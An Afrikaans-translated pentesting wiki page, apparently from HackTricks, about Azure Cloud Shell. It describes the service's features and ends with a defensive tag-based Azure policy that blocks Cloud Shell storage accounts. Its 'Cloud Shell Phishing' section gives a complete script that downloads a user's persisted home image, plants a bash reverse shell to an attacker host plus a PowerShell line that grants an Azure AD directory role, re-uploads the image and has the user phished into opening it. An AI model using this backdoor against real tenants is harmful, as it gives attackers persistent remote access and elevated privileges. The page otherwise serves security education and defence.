# Az - Cloud Shell

{{#include ../../../banners/hacktricks-training.md}}

## Azure Cloud Shell

**Azure Cloud Shell** is 'n interaktiewe, geverifieerde, blaartoegang terminal wat ontwerp is vir die bestuur van Azure hulpbronne, wat die buigsaamheid bied om met of Bash of PowerShell te werk. Dit loop op 'n tydelike, per-sessie gasheer wat na 20 minute van inaktiwiteit tydelik is, terwyl dit lêers in die $HOME-ligging behou met 'n 5-GB lêerdeel. Cloud Shell kan deur verskeie punte toeganklik gemaak word, insluitend die Azure-portaal, shell.azure.com, Azure CLI en PowerShell dokumentasie, die Azure mobiele app, en die Visual Studio Code Azure Account uitbreiding.

Daar is geen toestemmings aan hierdie diens toegeken nie, daarom is daar geen voorregverhogingstegnieke nie. Ook is daar geen soort van enumerasie nie.

### Sleutelkenmerke

- **Vooraf geïnstalleerde Gereedskap**: Cloud Shell sluit 'n omvattende stel van vooraf geïnstalleerde gereedskap in soos Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, en teksredigeerders soos vim, nano, en emacs. Hierdie gereedskap is gereed om te gebruik. Om die geïnstalleerde pakkette en modules te lys, kan jy "Get-Module -ListAvailable", "tdnf list" en "pip3 list" gebruik.
- **Azure skyf (Azure:)**: PowerShell in Azure Cloud Shell sluit die Azure skyf (Azure:) in, wat maklike navigasie van Azure hulpbronne soos Compute, Network, en Storage met filesystem-agtige opdragte toelaat. Wissel na die Azure skyf met cd Azure: en keer terug na jou tuisgids met cd ~. Jy kan steeds Azure PowerShell cmdlets gebruik om hulpbronne van enige skyf te bestuur.
- **Pasgemaakte Gereedskap Installasie**: Gebruikers wat Cloud Shell met 'n stoorrekening konfigureer, kan addisionele gereedskap installeer wat nie worteltoestemmings vereis nie. Hierdie kenmerk stel gebruikers in staat om die Cloud Shell omgewing verder aan te pas, wat hulle in staat stel om hul opstelling aan hul spesifieke behoeftes aan te pas.
- **$HOME volharding**: Wanneer jy Azure Cloud Shell vir die eerste keer begin, kan jy dit met of sonder 'n aangehegte stoorrekening gebruik.
- Om nie stoor aan te heg nie, skep 'n ephemerale sessie waar lêers verwyder word wanneer die sessie eindig.
- Om lêers oor sessies te behou, word jy die opsie gegee om **'n stoorrekening te monteer**, wat outomaties as `$HOME\clouddrive` aangeheg word, met jou `$HOME` gids **bespaar as 'n .img-lêer in 'n Lêerdeel.**

### Cloud Shell Phishing

As 'n aanvaller ander gebruikers se beelde in 'n Stoorrekening vind waartoe hy skryf- en leestoegang het, sal hy in staat wees om die beeld af te laai, **'n bash en PS agterdeur daarin te voeg**, en dit terug te laai na die Stoorrekening sodat die volgende keer wanneer die gebruiker die shell toegang, die **opdragte outomaties uitgevoer sal word**.

- **Laai af, agterdeur en laai die beeld op:**
```bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
```
- **Dan, phish die gebruiker om toegang te verkry tot https://shell.azure.com/**


### Vind & Verbied Cloud Shell Outomatiese Stoor Rekeninge

Stoor rekeninge wat deur Cloud Shell geskep is, is gemerk met **`ms-resource-usage:azure-cloud-shell`**. Dit is moontlik om 'n Azure hulpbronbeleid te skep wat die skep van hulpbronne met hierdie etiket deaktiveer.

Vind al die stoor rekeninge wat deur Cloud Shell geskep is, deur etikette:
```bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
```
Beleid om die skepping van outomatiese stoorrekeninge vir wolk-shel stoor te verbied op grond van etikette:
```json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
```
## Verwysings

- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)


## Volharding

{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
